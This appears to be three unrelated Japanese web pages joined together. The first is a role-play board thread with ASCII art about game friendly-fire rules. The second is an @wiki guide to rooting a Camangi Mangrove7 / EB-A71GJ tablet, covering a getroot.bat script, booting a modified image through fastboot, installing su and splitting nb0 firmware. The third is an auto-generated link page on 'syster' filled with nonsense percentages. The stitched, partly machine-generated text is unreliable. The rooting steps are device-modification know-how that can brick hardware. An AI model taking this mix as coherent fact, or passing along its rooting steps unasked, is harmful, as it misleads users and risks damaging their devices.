/Г`.'―-イ γ ___|,_______ \ ( ∩ レ | 5、 運が良ければ倒せます。 ) )|、 | ~~~ |⌒|. レ=.亅 'いイ し ) ~~^6498 名前:松田 ◆5wbYUif2XM[] 投稿日:2013/05/04(土) 07 20 51 ID Tu9UqR960 [3/13] 6497 ところで短射程射の攻撃ってゼロ距離からでも撃てるの? あと同じ射程で敵と味方が乱戦してたら、味方を巻き込む可能性はある? 例えば、リュウやシキがスキルで相手の攻撃を抑えてる時に、 レヴィがゼロ距離から雷魔法撃ったりモブがAKを乱射する、という状況になったらどうなるか、とか l / / , ', ! ///イ / / / / l ! 、 ', | // | l ! / / / ,イ ノ ,イ / ,/ ノ | ! // | | | ,l / / ´ ̄/フイ''''ー‐/// // / ! ! ブロッキングや回避中だと、 /,ィ' レ',´l/ l' 'l /, -,'ー‐く"'' / /ーレ! / / / | | ( il、 l | /, ´ / 。/ / ,イ 7゛/ ,イ / 乱射は不可、射撃スキルあっても誤射判定、 | ヽ、ゝヽ ! レ ゝ /_ // l{ ;' / / レ' ノ ゝ‐' V ` ̄ ヽ. |// 魔法も精密誘導スキルというか、Lv3以上もしくは /\ イ ´/ 【精密動作】スキルないと誤射ということで。 /\_`>/. i! \ -ニア/ /.. / `ヽ, _ , ' ……台場カノンちゃん連れてくれば解決するね! /ー/ / `ー‐'´ { ̄ \ / /. . . . . . ヽ、 / .\ ブロッキングとか、防御スキル使ってなければ、気にしなくていいよ。6505 名前:松田 ◆5wbYUif2XM[] 投稿日:2013/05/04(土) 07 33 52 ID Tu9UqR960 [6/13] 6501 1ターン目に突撃級が突撃→リュウがブロック→乱射は不可という話であって 1ターン目に突撃級が突撃→リュウがブロック 2ターン目に至近距離の突撃級に乱射*18は可能ということでOK? 波動拳を撃つのは2ターン目になるだろうしつまり、リュウが飛びのいて、乱射の的にするイメージになるけど、突撃級フリーにしたら他の子がハネられるよ。 6502 6498 了解 同様のケースでシキが閃走・六鹿で突撃級の攻撃を防ぎ、リュウの必殺で攻撃する場合、 波動拳や真空竜巻旋風脚は射程が短でもリュウの格闘が4あるので誤爆を避けられる、ということでOKですかリュウさんは仲間殴りしないイメージだからそれでいいと思う
https://w.atwiki.jp/mangrove7/
【Android】Camangi Mangrove7【Tegra2】 http //awabi.2ch.net/test/read.cgi/dgoods/1316834013/]] うpろだ。 mangrove7_root化用root化バッチ一式 (Mangrove7,EB-A71GJ,Android 4.0.1のroot化用Ver1.2 )通常起動+USBデバッグONの状態でgetroot.batを実行してください。作業完了して再起動まで自動実行します suの設置に加え、Superuserアプリをプリインストールします(作業完了後、正常起動しましたらSuperuserを一度起動してください ICS以外での動作は未確認ですが、単にSuperuser関係を新しい物にしているだけなので、ICS以外でも多分OKだと思います [[nb0分解合成ツール(Windows用 ) http //ux.getuploader.com/mangrove7/download/8/rutw32.zip ]] Windows上で動作する、rutサブセットです。wコマンドは使用できません root化バッチ一式 (Mangrove7,EB-A71GJ,Android 3.2.1のroot化用Ver1.1 )通常起動+USBデバッグONの状態でgetroot.batを実行してください。作業完了して再起動まで自動実行します suの設置に加え、Superuserアプリをプリインストールします(作業完了後、正常起動しましたらSuperuserを一度起動してください nb0分解合成ツール(Mangrove7,EB-A71GJ等,Android用 )Android 実機上で動作する、rutサブセットです。wコマンドは使用できません /system/xbin 等にコピーしてchmod 755 等、実行権を与えてください ファイルシステム的に、展開先は内部sd(/sdcard)が無難です root化(人柱募集中 泣かない、ごねない、せびらない) シャープ製garapagos7 (EB-A71GJ,Android 3.2.1 )でのroot化手順を踏襲してみる fastboot モードで起動できること(vol-up + pow-on?) →mangrove7、vol-up + pow-onにてfastboot モード起動確認 fastboot でPC接続出来ること(多分-iオプション必須) →参照:http //blog.livedoor.jp/itsuki_t_/archives/7183290.html /system パーティションがext4フォーマットであること 上記条件を満たせば同一手順でroot化できるかも →Mangrove7でもできたとの報告が2chにアリ 実際の作業は、 改造bootイメージをfastbootのbootコマンドで起動させる(焼き込み不要) /system/xbin に su (superuser対応)が自動で設置されます root化用バイナリは起動中、adb shell でsuコマンド、および、busyboxが起動できるようになっています Superuser.apkを/system/app (プリインストール用)にインストールします(Getroot V1.1から対応) もちろん、superuser 動作させてないとsuは通りません adb shell で busybox動きますが、Androidのコアフレームが動いてないのでsu できません rom化用バイナリ内の su は "生の su "ですので superuser と無関係に su できます Fastboot には-iオプション必須ですが、vidは誰か調べてください → 0x0489 (Foxconnもしくは鴻海グループのVID。ガラパも同様) 何らかの切っ掛けで root が取れなくなる現象が発生することがあります。(superuser のダイアログは出るのにrootになれない) 原因は不明ですが、一度デバッグモードにして再度suをすることで復帰します(その後、デバッグモードを解除してもOK) @技術的な話 ICS への道 EB-A71GJ 用のICSアップデートバイナリ入手先は、今のところ、 ttp //cdn.galapagosstore.com/cdn/application/70/RO/12X311/EB-A71GJ/GD7-ICS-5056_2_069-user.nb0.bin ファイルフォーマットは、HDD パーティションダンプnb0 形式 リカバリー起動時にnb0ファイルインストールの項目が有るのと 同じeMMC使ってるようなのでmangrove 7にも書き込めると思われる 動くかどうかは定かでないのはお約束。仮に動いてもgarapagosになるかと nb0バラして、弄った方が文鎮化のリスクは低いハズ nb0を直接書き込んでみたい猛者へ EB-A71GJにてダウンロード後のアップデートバイナリのファイル名は firmware.nb0.ICS 通常リカバリーモードからの nb0 書き込みは SDカードのルートディレクトリに置かれた firmware.nb0 が必要となります →残念ながらリネームだけでは、ngのようです。nb0内のmlfファイルを編集する必要があるようです nb0のバラし方 以下のツールでばらせます。(バラすと各パーティションのイメージファイルができます) Linuxならばここ(ソースからのビルドになります) Winならばここ バラすと、以下のファイルになります ~boot.img を bootパーティションに、~system.img を systemパーティションにfastbootで書き込めばとりあえずokなhハズ GD7-0-126A-5056-A01.mlf GD7-0-126A-5056-flash.cfg GD7-0-126A-bootloader.bin GD7-5056-003-pidinfo.img GD7-0-126A-ftmmode.img GD7-5056-020-splash.img GD7-0-126A-5056-recovery.img GD7-0-126A-5056-boot.img GD7-0-126A-ftm.img GD7-0-126A-5056-system.img GD7-0-1030-5056-hidden.img.ext3 GD7-5056-020-cda.img.ext3 分からないことは? @wiki ご利用ガイド よくある質問 無料で会員登録できるSNS内の@wiki助け合いコミュニティ @wiki更新情報 @wikiへのお問合せフォーム 等をご活用ください @wiki助け合いコミュニティの掲示板スレッド一覧 #atfb_bbs_list その他お勧めサービスについて 大容量1G、PHP/CGI、MySQL、FTPが使える無料ホームページは@PAGES 無料ブログ作成は@WORDをご利用ください 2ch型の無料掲示板は@chsをご利用ください フォーラム型の無料掲示板は@bbをご利用ください お絵かき掲示板は@paintをご利用ください その他の無料掲示板は@bbsをご利用ください 無料ソーシャルプロフィールサービス @flabo(アットフラボ) おすすめ機能 気になるニュースをチェック 関連するブログ一覧を表示 その他にもいろいろな機能満載!! @wikiプラグイン @wiki便利ツール @wiki構文 @wikiプラグイン一覧 まとめサイト作成支援ツール バグ・不具合を見つけたら? 要望がある場合は? お手数ですが、お問合せフォームからご連絡ください。
https://w.atwiki.jp/jpops/pages/7231.html
systerをお気に入りに追加 systerのリンク #bf Amazon.co.jp ウィジェット systerの報道 gnewプラグインエラー「syster」は見つからないか、接続エラーです。 systerとは systerの55%は真空で出来ています。systerの19%は優雅さで出来ています。systerの15%は赤い何かで出来ています。systerの8%はマイナスイオンで出来ています。systerの3%はかわいさで出来ています。 syster@ウィキペディア syster Amazon.co.jp ウィジェット 掲示板 名前(HN) カキコミ すべてのコメントを見る ページ先頭へ syster このページについて このページはsysterのインターネット上の情報を集めたリンク集のようなものです。ブックマークしておけば、日々更新されるsysterに関連する最新情報にアクセスすることができます。 情報収集はプログラムで行っているため、名前が同じであるが異なるカテゴリーの情報が掲載される場合があります。ご了承ください。 リンク先の内容を保証するものではありません。ご自身の責任でクリックしてください。